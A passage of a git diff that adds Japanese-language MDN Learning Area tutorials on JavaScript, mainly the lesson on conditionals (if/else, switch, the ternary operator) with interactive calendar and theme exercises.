+<p><strong>メモ</strong>: サンプルをうまく動作させることができない場合は、コードを <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/functions/function-stage-4.html">GitHub の完成バージョン</a>と比較して (<a href="http://mdn.github.io/learning-area/javascript/building-blocks/functions/function-stage-4.html">see it running live</a> もみて) チェックしてください。もしくは私たちにヘルプを依頼してください。</p> +</div> + +<h2 id="スキルをテストしよう!">スキルをテストしよう!</h2> + +<p>この記事の最後まで到達しましたが、最も大事な情報を覚えていますか？移動する前に、この情報を維持しているか検証するテストを見ることができます— <a href="https://wiki.developer.mozilla.org/ja/docs/Learn/JavaScript/Building_blocks/Test_your_skills:_Functions">Test your skills: Functions</a>. を見てください。このテストは次の記事でカバーするスキルが必要ですので、試す前にこれを読んでおくとよいでしょう。</p> + +<h2 id="Conclusion" name="Conclusion">まとめ</h2> + +<p>最後までたどり着きました。おめでとうございます！この記事では、実用的なカスタム関数を構築するプロセス全体を紹介しました。もう少し動けば、実際のプロジェクトに移植することができます。次の記事では、別の重要な関連概念である戻り値を説明して関数をまとめます。</p> + +<ul> +</ul> + +<p>{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Functions","Learn/JavaScript/Building_blocks/Return_values", "Learn/JavaScript/Building_blocks")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール</h2> + +<ul> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/conditionals">コードでの意思決定 — 条件文</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Looping_code">ループコード</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Functions">関数 — 再利用可能なコードブロック</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Build_your_own_function">独自の関数を作る</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Return_values">関数の戻り値</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Events">イベントの紹介</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Image_gallery">イメージギャラリー</a></li> +</ul> diff --git a/files/ja/learn/javascript/building_blocks/conditionals/index.html b/files/ja/learn/javascript/building_blocks/conditionals/index.html new file mode 100644 index 0000000000..70d662df26 --- /dev/null +++ b/files/ja/learn/javascript/building_blocks/conditionals/index.html @@ -0,0 +1,782 @@ +--- +title: コードでの意思決定 — 条件文 +slug: Learn/JavaScript/Building_blocks/conditionals +tags: + - Article + - Beginner + - CodingScripting + - Conditionals + - JavaScript + - Learn + - Switch + - conditions + - else + - if + - 'l10n:priority' + - ternary +translation_of: Learn/JavaScript/Building_blocks/conditionals +--- +<div>{{LearnSidebar}}</div> + +<div>{{NextMenu("Learn/JavaScript/Building_blocks/Looping_code", "Learn/JavaScript/Building_blocks")}}</div> + +<p class="summary">どのプログラミング言語でも、コードは様々な入力に応じた決定を迫られ、その結果として動作を起こします。例えば、ゲームではプレイヤーの残機が 0 になった場合、ゲームオーバーとなります。天気アプリは朝に起動された場合は日の出の画像を表示し、夜に起動された場合は星や月の画像を表示します。この記事では、JavaScript において、条件文と呼ばれるものがどのように動作するかを説明します。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>基本的なコンピューターの知識および HTML と CSS への理解、<a href="/ja/docs/Learn/JavaScript/First_steps">JavaScript の第一歩</a>。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>JavaScript における条件分岐構造をどのように使用するかを理解する。</td> + </tr> + </tbody> +</table> + +<h2 id="You_can_have_it_on_one_condition..!" name="You_can_have_it_on_one_condition..!">すべては条件次第..</h2> + +<p>人類 (と他の動物たち)は 小さいもの (「クッキーを 1 つ食べるべきか、2 つ食べるべきか...。」) から大きいもの (「故郷に残って親父の農場を継ぐべきか、アメリカで宇宙物理学を学ぶべきか...。」) まで、生活に関わるすべての決定を下します。</p> + +<p>JavaScript では、条件文を使ってそのような決定を下すことが可能です。条件文は、選ばなければならない選択肢 (例えば「クッキーを 1 つまたは 2 つ食べる」) からそれを選んだ場合の結果を導き出します (おそらく「1 つクッキーを食べる」を選んだら、「まだちょっとお腹が空いている」という結果となるでしょうし、「2 つクッキーを食べる」を選んだら「お腹いっぱい。だけどクッキーを全部食べてママに怒られる」という結果となってしまうでしょう。)</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13703/cookie-choice-small.png" style="display: block; margin: 0px auto;"></p> + +<h2 id="if_..._else_statements" name="if_..._else_statements">if ... else ステートメント</h2> + +<p>それでは、JavaScript で最もよく使われる条件文から始めましょう。それは <code><a href="/ja/docs/Web/JavaScript/Reference/Statements/if...else">if ... else</a></code><a href="/ja/docs/Web/JavaScript/Reference/Statements/if...else"> ステートメント</a>です。</p> + +<h3 id="Basic_if_..._else_syntax" name="Basic_if_..._else_syntax">if ... else の基本的な構文</h3> + +<p><code>if...else</code> の基本的な構文は以下の{{glossary("pseudocode", "擬似コード")}}のようになっています。</p> + +<pre class="notranslate">if (条件式) { + 条件式が true の場合に実行されるコード +} else { + それ以外の場合に実行されるコード +}</pre> + +<p>ここでは...</p> + +<ol> + <li><code>if</code> キーワードの後ろに括弧が並んでいます。</li> + <li>判断に用いる条件式はその括弧の中にあります (たいていの場合は「この値はもう一方より大きい」や、「この値は存在する」などです)。この条件には、前回のモジュールで習った<a href="/ja/Learn/JavaScript/First_steps/Math#Comparison_operators">比較演算子</a>を使用し、<code>true</code> または <code>false</code> を返します。</li> + <li>中にコードが書いてある (実際のコードはどんなものでも構いません) 中括弧のペアは、条件式が <code>true</code> の場合に実行されます。</li> + <li>続いて <code>else</code> キーワードがあります。</li> + <li>さらに他のコードが書いてある (こちらもどんなコードでも構いません) 中括弧のペアは条件式が <code>true</code> ではない場合に実行されます。</li> +</ol> + +<p>このコードは (英語を使う人には) とても読みやすいものになっています。このコードは「もし ( <strong>if</strong> ) 条件式 ( <strong>condition</strong> ) が <code>true</code> を返したら A のコードを実行し、それ以外ならば ( <strong>else</strong> ) B のコードを実行する」と読めます。</p> + +<p><code>else</code> とそれに続く中括弧は必ずしも書く必要がないことを覚えておきましょう。次のコードも全く問題のないコードです。</p> + +<pre class="notranslate">if (条件式) { + 条件式が true の場合に実行されるコード +} + +普通に実行されるコード</pre> + +<p>ここで注意しておかなければならないことがあります。それは 2 つ目のコードブロックは、条件分岐の管理下になく、条件式が <code>true</code> か <code>false</code> かに関係なく、<strong>常に</strong>実行されることです。これはまったく悪いことではないのですが、条件に応じてどちらか一方のみ動かしたいと思っている場合には、気を付けておかないと思った通りの動作をしないでしょう。</p> + +<p>最後の確認点として、<code>if...else</code> ステートメントが中括弧なしで書かれているのを見ることがあります。以下のような省略した書き方です。</p> + +<pre class="notranslate">if (条件式) 条件式が true の場合に実行されるコード +else それ以外の場合に実行されるコード</pre> + +<p>これは正常なコードですが、あまり推奨されません。中括弧でコードブロックを分割して、複数の行とインデントを使って書いたほうが読みやすく、コードがどうなっているかを把握しやすいためです。</p> + +<h3 id="A_real_example" name="A_real_example">実際の例</h3> + +<p>構文をもっとよく理解するため、実際の例を考えてみましょう。例えば両親にお使いを頼まれた子供を想像してください。「欲しがってたおもちゃがあるよね。お使いを頼まれてくれたら、お小遣いを追加であげるよ。」と親が頼みます。JavaScript では以下のようなコードで表現できます。</p> + +<pre class="brush: js notranslate">let shoppingDone = false; + +if (shoppingDone === true) { + let childsAllowance = 10; +} else { + let childsAllowance = 5; +}</pre> + +<p>このコードは常に <code>shoppingDone</code> 変数が <code>false</code> なので、かわいそうな子供は追加のお小遣いを受け取れません。両親が子供がお使いを完了した場合に <code>shoppingDone</code> 変数を <code>true</code> にセットしてあげるかどうかはプログラム次第です (つまり私たち次第です。)</p> + +<div class="note"> +<p><strong>注</strong>: <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/allowance-updater.html">GitHub で上記のコードの完全なバージョン</a>が公開されています (<a href="http://mdn.github.io/learning-area/javascript/building-blocks/allowance-updater.html">ライブ実行</a>でも確認できます。)</p> +</div> + +<h3 id="else_if" name="else_if">else if</h3> + +<p>先ほどの例では実行結果は 2 つだけでしたが、もっと選択肢がある場合はどうでしょうか？</p> + +<p><code>else if</code> を使って、追加の選択肢を <code>if...else</code> に繋ぐ方法があります。追加の選択肢は <code>if() { ... }</code> と <code>else { ... }</code> の間に、コードブロックを続けて追加する必要があります。具体的な例として、天気予報のアプリケーションの一部を見てみましょう。</p> + +<pre class="brush: html notranslate"><label for="weather">今日の天気を選択してください: </label> +<select id="weather"> + <option value="">--選択してください--</option> + <option value="sunny">晴れ</option> + <option value="rainy">雨</option> + <option value="snowing">雪</option> + <option value="overcast">曇り</option> +</select> + +<p></p></pre> + +<pre class="brush: js notranslate">const select = document.querySelector('select'); +const para = document.querySelector('p'); + +select.addEventListener('change', setWeather); + +function setWeather() { + const choice = select.value; + + if (choice === 'sunny') { + para.textContent = '今日はとてもいい天気です。短いパンツをはいて、砂浜や公園に出かけ、アイスクリームを食べましょう！'; + } else if (choice === 'rainy') { + para.textContent = '雨が降っています。レインコートと傘を忘れないようにして、できる限り室内で過ごしましょう。'; + } else if (choice === 'snowing') { + para.textContent = '雪が降ってとても寒いです！室内でホットチョコレートを飲むか、雪だるまを作るのがよいでしょう。'; + } else if (choice === 'overcast') { + para.textContent = '雨は降っていませんが、空はとても暗くなっています。万が一に備えレインコートを持ちましょう。'; + } else { + para.textContent = ''; + } +} + +</pre> + +<p>{{ EmbedLiveSample('else_if', '100%', 100, "", "", "hide-codepen-jsfiddle") }}</p> + +<ol> + <li>HTML に、天気を選ぶことが可能な {{htmlelement("select")}} 要素があり、1 つの段落がありますね。</li> + <li>JavaScript では、{{htmlelement("select")}} と {{htmlelement("p")}} の各要素について、参照を取得して保持し、<code><select></code> 要素にはイベントリスナーを設定しています。もし、要素の値が変わったら <code>setWeather()</code> 関数が動きます。</li> + <li>この関数が実行されると、まずは <code>choice</code> という変数に、<code><select></code> 要素の現在選択されている値を入れます。そして、条件文を使い、<code>choice</code> の値に応じた文字列が段落に設定されます。最初の <code>if() {...}</code> のブロックを除いて、どのように <code>else if() {...}</code> のブロックで判定しているか注目してください。</li> + <li>一番下の <code>else {...}</code> 選択肢は、「最後の手段」となるオプションで、この中のコードは、どの条件にも一致しなかった場合 (<code>true</code> とならなかった場合) に実行されます。今回の場合選択されていない場合に、段落を空にしています。何も選択されていない場合というのは、ユーザーが再度最初に表示されていた「--選択してください--」というオプションを選んだ場合です。</li> +</ol> + +<div class="note"> +<p><strong>注</strong>: <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/simple-else-if.html">GitHub で上記のコードの完全なバージョン</a>が公開されています (<a href="http://mdn.github.io/learning-area/javascript/building-blocks/simple-else-if.html">ライブ実行</a>でも確認できます。)</p> +</div> + +<h3 id="A_note_on_comparison_operators" name="A_note_on_comparison_operators">比較演算子に関するメモ</h3> + +<p>比較演算子は条件文の中で使われます。<a href="/ja/Learn/JavaScript/First_steps/Math#Comparison_operators">JavaScript での数学入門 — 数値と演算子について</a>で初めて出てきましたね。演算子には以下のようなものがありました。</p> + +<ul> + <li><code>===</code> と <code>!==</code> は、ある値がもう一方の値と等しいか、もしくは等しくないかを判定します。</li> + <li><code><</code> と <code>></code> は、ある値がもう一方の値より大きいか、より小さいかを判定します。</li> + <li><code><=</code> と <code>>=</code> は、ある値がもう一方の値以上か、以下かを判定します。</li> +</ul> + +<div class="note"> +<p><strong>注</strong>: もし記憶があいまいならば、上記のリンク先を見て復習しましょう。</p> +</div> + +<p>真偽 (<code>true</code>/<code>false</code>) の値を判定する場合には少しの配慮が必要であることを付け加えさせてください。おそらく何度か躓くであろう、よくあるパターンです。<code>false</code>、<code>undefined</code>、<code>null</code>、<code>0</code>、<code>NaN</code>、空文字列 (<code>''</code>) 以外の値は条件文で使った場合に <code>true</code> となります。ですから、その値が <code>true</code> であるか判定したい場合や、その値が存在するか (例えば、<code>undefined</code> ではないこと) 判定したい場合は単に変数名を使用するだけです。</p> + +<pre class="brush: js notranslate">let cheese = 'チェダー'; + +if (cheese) { + console.log('やった！チーズトーストを作るチーズがあるよ。'); +} else { + console.log('今日はチーズトーストのチーズがないよ。'); +}</pre> + +<p>先ほどの子供のお使いの例に戻ると、以下のようにも書くことができます。</p> + +<pre class="brush: js notranslate">let shoppingDone = false; + +if (shoppingDone) { // '=== true' を明示的に指定する必要はありません + let childsAllowance = 10; +} else { + let childsAllowance = 5; +}</pre> + +<h3 id="Nesting_if_..._else" name="Nesting_if_..._else">入れ子の if ... else</h3> + +<p><code>if...else</code> ステートメントを入れ子にして、他の <code>if...else</code> ステートメントの中で使用することは全く問題ありません。例えば、天気予報アプリケーションで気温に応じて表示する内容を切り替えたい場合以下のように書くことができます。</p> + +<pre class="brush: js notranslate">if (choice === 'sunny') { + if (temperature < 86) { + para.textContent = '外の気温は ' + temperature + ' 度です — とてもいい天気です。海水浴や、公園に出かけてアイスクリームを食べましょう'; + } else if (temperature >= 86) { + para.textContent = '外の気温は ' + temperature + ' 度です — かなり暑いです！外出する場合にはアイスクリームを持って出かけましょう。'; + } +}</pre> + +<p>内側の <code>if...else</code> ステートメントは、外側の <code>if</code> ステートメントとは完全に独立して作用します。</p> + +<h3 id="Logical_operators_AND_OR_and_NOT" name="Logical_operators_AND_OR_and_NOT">論理演算子: AND と OR と NOT</h3> + +<p>複数の条件を入れ子の <code>if...else</code> ステートメントを書かずに判定したいなら、<a href="/ja/docs/Web/JavaScript/Reference/Operators/Logical_Operators">論理演算子</a>の出番です。条件文の中で使用する場合、AND と OR は以下の作用をもたらすでしょう。</p> + +<ul> + <li><code>&&</code> — AND は 2 つ以上の式を一つに繋げ、それぞれの式を個別に評価して、すべて <code>true</code> になった場合、その式全体が <code>true</code> として返します。</li> + <li><code>||</code> — OR は 2 つ以上の式を 1 つに繋げ、それぞれの式を個別に評価し、最初に <code>true</code> になったところで、その式全体を <code>true</code> として返します。</li> +</ul> + +<p>AND の例を示すため、先ほどのコードを書き直すと以下のようになります。</p> + +<pre class="brush: js notranslate">if (choice === 'sunny' && temperature < 86) { + para.textContent = '外の気温は ' + temperature + ' 度です — とてもいい天気です。海水浴や、公園に出かけてアイスクリームを食べましょう'; +} else if (choice === 'sunny' && temperature >= 86) { + para.textContent = '外の気温は ' + temperature + ' 度です — かなり暑いです！外出する場合にはアイスクリームを持って出かけましょう。'; +}</pre> + +<p>例では、最初のブロックは <code>choice === 'sunny'</code> <em>と</em> <code>temperature < 86</code> のどちらも <code>true</code> となった場合にのみ実行されます。</p> + +<p>今度は OR の例を見てみましょう。</p> + +<pre class="brush: js notranslate">if (iceCreamCarOutside || houseStatus === '火事') { + console.log('すぐに家から出ましょう。'); +} else { + console.log('それでは家にいましょう。'); +}</pre> + +<p>論理演算子の最後は NOT です。<code>!</code> 演算子で表され、式を否定するのに使用します。それでは先ほどの OR と組み合わせてみましょう。</p> + +<pre class="brush: js notranslate">if (!(iceCreamVanOutside || houseStatus === '火事')) { + console.log('それでは家にいましょう。'); +} else { + console.log('すぐに家から出ましょう。'); +}</pre> + +<p>このコード例では、OR ステートメントが <code>true</code> となれば、NOT 演算子がそれを否定します。そのため、式全体は <code>false</code> となります。</p> + +<p>論理ステートメントは思うがままに、いくつでも繋げることが可能です。次の例では両方の OR ステートメントが真を返した場合に AND ステートメントが真となり、<code>if</code> の中のコードが実行されます。</p> + +<pre class="brush: js notranslate">if ((x === 5 || y > 3 || z <= 10) && (loggedIn || userName === 'スティーブ')) { + // コードを実行 +}</pre> + +<p>論理 OR 演算子を使用するうえでよくある間違いは、判定しようとしている変数を一度だけ書いて、その後に判定したい値を <code>||</code> (OR) 演算子で区切って指定する誤りです。次のような例です。</p> + +<pre class="example-bad brush: js notranslate">if (x === 5 || 7 || 10 || 20) { + // コードを実行する +}</pre> + +<p>この場合、<code>if(...)</code> の条件式は常に真となります。なぜなら 7 (もしくはその他 0 以外の数値) が常に <code>true</code> と評価されるためです。この条件式は「もし x が 5 であるか 7 が真であるならば (7 は常に真です)」となります。これは求めているものではありませんよね！このコードの誤りを修正するためには、OR 演算子の隣に常に完全な条件を書かなければなりません。</p> + +<pre class="brush: js notranslate">if (x === 5 || x === 7 || x === 10 ||x === 20) { + // コードを実行する +}</pre> + +<h2 id="switch_statements" name="switch_statements">switch ステートメント</h2> + +<p><code>if...else</code> ステートメントは条件の判定を上手くこなしていましたが、欠点がないわけではありません。いくつかの選択肢しかない場合には申し分ないのですが、AND / OR の条件が複雑になるにつれて (例えば、複数の論理演算子を使ったりする場合など)、相当量のコードを書かなければなりません。ある選択肢に応じて値を変数に設定したり、特定の条件に応じて何かを表示したりするとき、選択肢がたくさんあると、<code>if...else</code> ステートメントを書くのは面倒です。</p> + +<p><a href="/ja/docs/Web/JavaScript/Reference/Statements/switch"><code>switch</code> ステートメント</a>はそんなときの味方です。<code>switch</code> ステートメントは一つの式または値を受け取り、それに合致する値が見つかるまで選択肢を探します。そして合致した選択肢に対応するコードを実行します。まずは擬似コードを見て、雰囲気をつかみましょう。</p> + +<pre class="notranslate">switch ( 式 ) { + case 選択肢1: + このコードを実行する + break; + + case 選択肢2: + 代わりにこのコードを実行する + break; + + // 以下に選択肢を好きなだけ並べる + + default: + 既定でこのコードを実行する +}</pre> + +<p>上記のコードには...</p> + +<ol> + <li><code>switch</code> キーワードに続き、一組の括弧があります。</li> + <li>括弧の中には、式または値があります。</li> + <li><code>case</code> キーワードに続き、選択肢となる式または値、それにコロン (<code>:</code>) が並んでいます。</li> + <li>もしその選択肢にマッチすれば、コードが実行されます。</li> + <li><code>break</code> ステートメントとセミコロン (<code>;</code>) があります。もし前の選択肢にマッチして入ればブラウザーはコードの実行をここでやめ、switch ステートメントの後ろにあるコードに移動します。</li> + <li><code>case</code> 節 (上記 3. から 5. ) は好きなだけ書くことができます。</li> + <li>上記 3. から 5.の <code>case</code> 節と全く同じコードパターンで書かれている <code>default</code> キーワードがあります。違いは <code>default</code> の後ろに選択肢が書かれていないことです。また、後ろに続くコードがないので、ここには <code>break</code> ステートメントが必要ありません。もし、選択肢のどれにもマッチするものがない場合に既定のオプションとして実行されます。</li> +</ol> + +<div class="note"> +<p><strong>注</strong>: 評価する式の値が不明な値にならないのであれば、<code>default</code> 節は書く必要はありません。しかし、式が不明な値となり、それに対処する必要があるのなら、<code>default</code> 節を書くことで対応が可能です。</p> +</div> + +<h3 id="A_switch_example" name="A_switch_example">switch を使用する例</h3> + +<p>それでは実際の例を見てみましょう。先ほどの天気予報アプリを switch ステートメントを使用して書き直してみました。</p> + +<pre class="brush: html notranslate"><label for="weather">今日の天気を選択してください: </label> +<select id="weather"> + <option value="">--選択してください--</option> + <option value="sunny">晴れ</option> + <option value="rainy">雨</option> + <option value="snowing">雪</option> + <option value="overcast">曇り</option> +</select> + +<p></p></pre> + +<pre class="brush: js notranslate">const select = document.querySelector('select'); +const para = document.querySelector('p'); + +select.addEventListener('change', setWeather); + + +function setWeather() { + const choice = select.value; + + switch (choice) { + case 'sunny': + para.textContent = '今日はとてもいい天気です。短いパンツをはいて、砂浜や公園に出かけ、アイスクリームを食べましょう！'; + break; + case 'rainy': + para.textContent = '雨が降っています。レインコートと傘を忘れないようにしましょう。'; + break; + case 'snowing': + para.textContent = '雪が降ってとても寒いです！室内でホットチョコレートを飲むか、雪だるまを作るのがよいでしょう。'; + break; + case 'overcast': + para.textContent = '雨は降っていませんが、空はとても暗くなっています。万が一に備えレインコートを持ちましょう。'; + break; + default: + para.textContent = ''; + } +}</pre> + +<p>{{ EmbedLiveSample('A_switch_example', '100%', 100, "", "", "hide-codepen-jsfiddle") }}</p> + +<div class="note"> +<p><strong>注</strong>: <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/simple-switch.html">このサンプルを GitHub で見る</a>ことができます。(<a href="http://mdn.github.io/learning-area/javascript/building-blocks/simple-switch.html">実行可能なデモ</a>もあります。)</p> +</div> + +<h2 id="Ternary_operator" name="Ternary_operator">三項演算子</h2> + +<p>例題に進む前に、ちょっとした構文をご紹介しましょう。<a href="/ja/docs/Web/JavaScript/Reference/Operators/Conditional_Operator">三項演算子 (もしくは条件演算子)</a> は条件式を判定し、その結果に応じて 2 つの値または式のうち、どちらか一方を返します。これはある状況においてはとても便利です。単純に <code>true</code>/<code>false</code> で判定可能な 2 つの選択肢のうちより片方を選ぶという場合には、<code>if...else</code> ブロックを書くよりも多くのコードを節約できます。この擬似コードは以下のようなものになります。</p> + +<pre class="notranslate">( 条件式 ) ? こちらのコードを実行する : 代わりにこちらのコードを実行する</pre> + +<p>それでは実際に例を見て見ましょう。</p> + +<pre class="brush: js notranslate">let greeting = ( isBirthday ) ? 'スミスさん、誕生日おめでとうございます！良い一日を。' : 'スミスさんおはようございます。';</pre> + +<p>この例では <code>isBirthday</code> という変数があり、この変数が <code>true</code> の場合、お客に誕生日を祝福するメッセージを送ります。そうでなければ、通常の挨拶を送ります。</p> + +<h3 id="Ternary_operator_example" name="Ternary_operator_example">三項演算子を使用する例</h3> + +<p>三項演算子を変数の代入にのみ使用する必要はありません。関数や、複数行に渡るコードを実行する場合にも (それ以外にも好きなように) 使用できます。次の例は三項演算子を使用してサイトにテーマを適用しています。</p> + +<pre class="brush: html notranslate"><label for="theme">テーマを選んでください: </label> +<select id="theme"> + <option value="white">白</option> + <option value="black">黒</option> +</select> + +<h1>私のウェブサイト</h1></pre> + +<pre class="brush: js notranslate">const select = document.querySelector('select'); +const html = document.querySelector('html'); +document.body.style.padding = '10px'; + +function update(bgColor, textColor) { + html.style.backgroundColor = bgColor; + html.style.color = textColor; +} + +select.onchange = function() { + ( select.value === 'black' ) ? update('black','white') : update('white','black'); +} +</pre> + +<p>{{ EmbedLiveSample('Ternary_operator_example', '100%', 300, "", "", "hide-codepen-jsfiddle") }}</p> + +<p>上記の例では、テーマ (黒または白) を選択することができる {{htmlelement('select')}} 要素と、サイトのタイトルが書かれた単純な {{htmlelement('h1')}} 要素があります。さらに <code>update()</code> という関数があり、その関数は引数 (入力値) として 2 つの色を取ります。この関数が呼ばれると、ウェブサイトの背景色は 1 つ目の引数に、文字の色は 2 つの目の引数に設定されます。</p> + +<p>さらに、三項演算子を含む <a href="/ja/docs/Web/API/GlobalEventHandlers/onchange">onchange</a> イベントリスナーがあります。<code>select.value === 'black'</code> という条件式で始まっています。この式が <code>true</code> であるならば、<code>update()</code> 関数を引数に <code>'black'</code>、<code>'white'</code> を指定して実行します (つまり、背景色を黒、文字色を白に設定します)。この式が <code>false</code> であるならば、<code>update()</code> 関数を引数に <code>'white'</code>、<code>'black'</code> を指定して実行します (つまり、背景色を逆にします)。</p> + +<div class="note"> +<p><strong>注</strong>: この例は <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/simple-ternary.html">GitHub でも公開しています</a> (または、<a href="http://mdn.github.io/learning-area/javascript/building-blocks/simple-ternary.html">動くデモ</a>もあります。)</p> +</div> + +<h2 id="Active_learning_A_simple_calendar" name="Active_learning_A_simple_calendar">アクティブ学習: 単純なカレンダー</h2> + +<p>この例では、単純なカレンダーアプリケーションの作成を手伝ってもらいます。現在、以下の内容がコードに書かれています。</p> + +<ul> + <li>ユーザーが月を選択できるように {{htmlelement("select")}} 要素があります。</li> + <li><code><select></code> メニューの選択内容が変更された場合に、イベントを補足できるように <code>onchange</code> イベントハンドラーが設定されています。</li> + <li>カレンダーを描画し、{{htmlelement("h1")}} 要素に適切な月を設定する <code>createCalendar()</code> と呼ばれる関数があります。</li> +</ul> + +<p>あなたには、<code>onchange</code> ハンドラーの内部に条件式を書いてもらいます。<code>// 条件式をここに書く</code> というコメントのすぐ下に...</p> + +<ol> + <li>選択されている月を取得します (これは <code>choice</code> 変数に格納されています。この値は <code><select></code> 要素で選択された後の値で、例えば 1 月なら、"1" といった値です。)</li> + <li><code>days</code> という変数に、選択された月の日数を設定します。そのためには、1年の各月の日数を調べる必要があるでしょう。うるう年はこの例題の目的から外れるため、無視してください。</li> +</ol> + +<p>ヒント:</p> + +<ul> + <li>ほとんどの月は日数が同じなので、複数の月を OR 演算子を用いて一つの条件式にまとめるのが良いでしょう。</li> + <li>どの月が最も多い日数なのか考えてください。そして、その日数をデフォルト値として使用しましょう。</li> +</ul> + +<p>もし間違ってしまっても、「リセット」ボタンを押すことでいつでも元に戻せます。詰まってしまったら、「答えを見る」ボタンで答えが見られます。</p> + +<div class="hidden"> +<h6 id="Playable_code" name="Playable_code">Playable code</h6> + +<pre class="brush: html notranslate"><h2>出力結果</h2> +<div class="output" style="height: 500px;overflow: auto;"> + <label for="month">月を選択してください: </label> + <select id="month"> + <option value="1">1 月</option> + <option value="2">2 月</option> + <option value="3">3 月</option> + <option value="4">4 月</option> + <option value="5">5 月</option> + <option value="6">6 月</option> + <option value="7">7 月</option> + <option value="8">8 月</option> + <option value="9">9 月</option> + <option value="10">10 月</option> + <option value="11">11 月</option> + <option value="12">12 月</option> + </select> + + <h1></h1> + + <ul></ul> +</div> + +<h2>コードエディタ</h2> +<p class="a11y-label">コードエディタから抜けるには Esc キーを押して下さい(タブキーではタブ文字を挿入します)。</p> + +<textarea id="code" class="playable-code" style="height: 400px;width: 95%"> +const select = document.querySelector('select'); +const list = document.querySelector('ul'); +const h1 = document.querySelector('h1'); + +select.onchange = function() { + const choice = select.value; + + // 条件式をここに書く + + createCalendar(days, choice + ' 月'); +} + +function createCalendar(days, choice) { + list.innerHTML = ''; + h1.textContent = choice; + for (let i = 1; i <= days; i++) { + const listItem = document.createElement('li'); + listItem.textContent = i; + list.appendChild(listItem); + } +} + +createCalendar(31,'1 月'); +</textarea> + +<div class="playable-buttons"> + <input id="reset" type="button" value="リセット"> + <input id="solution" type="button" value="答えを見る"> +</div> +</pre> + +<pre class="brush: css notranslate">.output * { + box-sizing: border-box; +} + +.output ul { + padding-left: 0; +} + +.output li { + display: block; + float: left; + width: 25%; + border: 2px solid white; + padding: 5px; + height: 40px; + background-color: #4A2DB6; + color: white; +} + +html { + font-family: sans-serif; +} + +h2 { + font-size: 16px; +} + +.a11y-label { + margin: 0; + text-align: right; + font-size: 0.7rem; + width: 98%; +} + +body { + margin: 10px; + background: #f5f9fa; +}</pre> + +<pre class="brush: js notranslate">const textarea = document.getElementById('code'); +const reset = document.getElementById('reset'); +const solution = document.getElementById('solution'); +let code = textarea.value; +let userEntry = textarea.value; + +function updateCode() { + eval(textarea.value); +} + +reset.addEventListener('click', function() { + textarea.value = code; + userEntry = textarea.value; + solutionEntry = jsSolution; + solution.value = '答えを見る'; + updateCode(); +}); + +solution.addEventListener('click', function() { + if(solution.value === '答えを見る') { + textarea.value = solutionEntry; + solution.value = '答えを隠す'; + } else { + textarea.value = userEntry; + solution.value = '答えを見る'; + } + updateCode(); +}); + +const jsSolution = 'const select = document.querySelector(\'select\');\nconst list = document.querySelector(\'ul\');\nlet h1 = document.querySelector(\'h1\');\n\nselect.onchange = function() {\n let choice = select.value;\n let days = 31;\n if(choice === \'2\') {\n days = 28;\n } else if(choice === \'4\' || choice === \'6\' || choice === \'9\'|| choice === \'11\') {\n days = 30;\n }\n\n createCalendar(days, choice + \' 月\');\n}\n\nfunction createCalendar(days, choice) {\n list.innerHTML = \'\';\n h1.textContent = choice;\n for(let i = 1; i <= days; i++) {\n let listItem = document.createElement(\'li\');\n listItem.textContent = i;\n list.appendChild(listItem);\n }\n }\n\ncreateCalendar(31,\'1 月\');'; +let solutionEntry = jsSolution; + +textarea.addEventListener('input', updateCode); +window.addEventListener('load', updateCode); + +// タブキーでテキストエリアから抜けてしまうのを防ぎ、 +// 代わりにカーソル位置にタブ文字を挿入する + +textarea.onkeydown = function(e){ + if (e.keyCode === 9) { + e.preventDefault(); + insertAtCaret('\t'); + } + + if (e.keyCode === 27) { + textarea.blur(); + } +}; + +function insertAtCaret(text) { + const scrollPos = textarea.scrollTop; + const caretPos = textarea.selectionStart; + const front = (textarea.value).substring(0, caretPos); + const back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length); + textarea.value = front + text + back; + caretPos = caretPos + text.length; + textarea.selectionStart = caretPos; + textarea.selectionEnd = caretPos; + textarea.focus(); + textarea.scrollTop = scrollPos; +} + +// ユーザーがテキストエリアのコードを書き換える度に userCode を毎回更新する + +textarea.onkeyup = function(){ + // ユーザーのコードが表示されているときのみ状態を保存し、 + // 答えのコードでユーザーコードが上書きされないようにする + if(solution.value === '答えを見る') { + userEntry = textarea.value; + } else { + solutionEntry = textarea.value; + } + + updateCode(); +};</pre> +</div> + +<p>{{ EmbedLiveSample('Playable_code', '100%', 1110, "", "", "hide-codepen-jsfiddle") }}</p> + +<h2 id="Active_learning_More_color_choices!" name="Active_learning_More_color_choices!">アクティブ学習: もっとたくさんの色から選ぶ！</h2> + +<p>この例では、先ほどの三項演算子の例を switch ステートメントに変換し、単純なウェブサイトに、より多くの選択肢を与えます。{{htmlelement("select")}} 要素を見てください。今回は先ほどの 2 つではなく、5 つの選択肢があります。<code>// ここに SWITCH ステートメントを書く</code> というコメントの真下に switch ステートメントを追加してください。</p> + +<ul> + <li><code>choice</code> 変数を判定する式として使用します。</li> + <li>各ケース (case) で、<code>choice</code> 変数は選択可能な値 ('white'、'black'、'purple'、'yellow'、'psychedelic') のうちのどれかです。</li> + <li>各ケース (case) で、<code>update()</code> 関数が実行されるようにしてください。関数には 2 つの引数を指定します。1 つ目の引数は背景色、2 つ目の色は前景色です。色は文字列なので、忘れずに引用符で囲みましょう。</li> +</ul> + +<p>もし間違ってしまっても、「リセット」ボタンを押すことでいつでも元に戻せます。詰まってしまったら、「答えを見る」ボタンで答えが見られます。</p> + +<div class="hidden"> +<h6 id="Playable_code_2" name="Playable_code_2">Playable code 2</h6> + +<pre class="brush: html notranslate"><h2>出力結果</h2> +<div class="output" style="height: 300px;"> 